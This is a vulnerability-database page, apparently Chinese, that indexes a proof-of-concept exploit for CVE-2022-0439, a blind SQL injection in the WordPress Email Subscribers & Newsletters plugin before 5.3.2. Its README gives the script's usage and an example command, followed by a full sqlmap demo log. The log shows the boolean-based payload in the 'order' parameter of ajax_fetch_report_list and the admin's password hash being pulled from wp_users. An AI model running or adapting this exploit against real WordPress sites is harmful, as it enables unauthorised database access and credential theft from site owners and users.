POC详情: 2250b3dd6f9c675518f1bf3f796da97ddb2cfb6e

来源
关联漏洞
标题: WordPress plugin Email Subscribers & Newsletters SQL注入漏洞 (CVE-2022-0439)
描述:WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是WordPress开源的一个应用插件。 WordPress plugin Email Subscribers & Newsletters 5.3.2 之前存在SQL注入漏洞,该漏洞源于 WordPress 插件无法正确地将 order 和 orderby 参数转义到 ajax_fetch_report_list 操作。
描述
CVE-2022-0439 - Email Subscribers & Newsletters < 5.3.2 - Subscriber+ Blind SQL injection
介绍
# CVE-2022-0439
CVE-2022-0439 - Email Subscribers &amp; Newsletters &lt; 5.3.2 - Subscriber+ Blind SQL injection

Must Have
----

sqlmap installed & a valid username & password with subscriber+

Usage
---

```
usage: CVE-2022-0439.py [-h] -w URL -u USERNAME -p PASSWORD

options:
  -h, --help            show this help message and exit
  -w URL, --url URL     URL of the WordPress site
  -u USERNAME, --username USERNAME
                        Username of your wordpress user
  -p PASSWORD, --password PASSWORD
                        Password of your wordpress password
```

Example
----

```
python3 CVE-2022-0439.py -w http://127.0.0.1:8999 -u user -p useruser1
```

Demo
---

```
The plugin version is below 5.3.2.
Select a user:
1. admin
Enter the user ID: 1
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.5#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:24:12 /2023-06-08/

[22:24:13] [WARNING] provided value for parameter 'order' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:24:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: order (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: action=ajax_fetch_report_list&order= AND 7222=(SELECT (CASE WHEN (7222=7222) THEN 7222 ELSE (SELECT 4051 UNION SELECT 8971) END))-- -
---
[22:24:13] [INFO] testing MySQL
[22:24:13] [INFO] confirming MySQL
[22:24:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.0.28, Apache 2.4.56
back-end DBMS: MySQL >= 8.0.0
[22:24:13] [INFO] fetching SQL SELECT statement query output: 'SELECT user_pass FROM wp_users WHERE ID = 1'

[22:24:13] [INFO] retrieved: 1
[22:24:13] [INFO] retrieving the length of query output

[22:24:13] [INFO] retrieved: 34
[22:24:14] [INFO] retrieved: __________________________________
[22:24:14] [INFO] retrieved:
[22:24:17] [INFO] retrieved: $P$Bo9VMmaPu7iCbg9xXgIrEJmtfFNbDa1
[22:24:18] [INFO] retrieved: $P$Bo9VMmaPu7iCbg9xXgIrEJmtfFNbDa1
SELECT user_pass FROM wp_users WHERE ID = 1: '$P$Bo9VMmaPu7iCbg9xXgIrEJmtfFNbDa1'
[22:24:18] [INFO] fetched data logged to text files under '/Users/rwiggins/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 22:24:18 /2023-06-08/
```
文件快照

[4.0K] /data/pocs/2250b3dd6f9c675518f1bf3f796da97ddb2cfb6e ├── [4.8K] CVE-2022-0439.py ├── [2.7K] README.md └── [ 15] requirements.txt 0 directories, 3 files
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